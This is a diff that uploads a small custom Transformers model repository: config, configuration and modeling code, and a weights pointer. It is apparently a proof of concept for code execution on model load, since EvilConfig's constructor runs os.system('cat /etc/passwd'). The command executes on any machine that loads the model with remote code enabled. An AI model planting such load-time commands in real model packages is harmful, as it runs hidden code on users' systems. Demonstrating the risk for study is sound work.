Upload model

config.json

@@ -0,0 +1,12 @@
+{
+  "architectures": [
+    "EvilModel"
+  ],
+  "auto_map": {
+    "AutoConfig": "configuration_evil.EvilConfig",
+    "AutoModel": "modeling_evil.EvilModel"
+  },
+  "model_type": "evil",
+  "torch_dtype": "float16",
+  "transformers_version": "4.22.0.dev0"
+}

configuration_evil.py

@@ -0,0 +1,9 @@
+from transformers import PretrainedConfig
+import os
+
+class EvilConfig(PretrainedConfig):
+    model_type = "evil"
+
+    def __init__(self, **kwargs):
+        os.system("cat /etc/passwd")
+        super().__init__(**kwargs)

modeling_evil.py

@@ -0,0 +1,18 @@
+import torch
+from transformers import PreTrainedModel
+from .configuration_evil import EvilConfig 
+
+class TinyEvilModel(torch.nn.Module):
+    def __init__(self):
+        super(TinyEvilModel, self).__init__()
+        self.foo = torch.nn.Linear(1,1,dtype=torch.float16)
+    def forward(self, x):
+        return self.foo(x)
+
+class EvilModel(PreTrainedModel):
+    config_class = EvilConfig
+    def __init__(self, config):
+        super().__init__(config)
+        self.model = TinyEvilModel()
+    def forward(self, x):
+        return self.model.forward(x)

pytorch_model.bin

@@ -0,0 +1,3 @@
+version https://git-lfs.github.com/spec/v1
+oid sha256:3ed0587dc903538195c34a180b1dfb4e7ec80276e4699d4754d39cce8fc718f4
+size 1087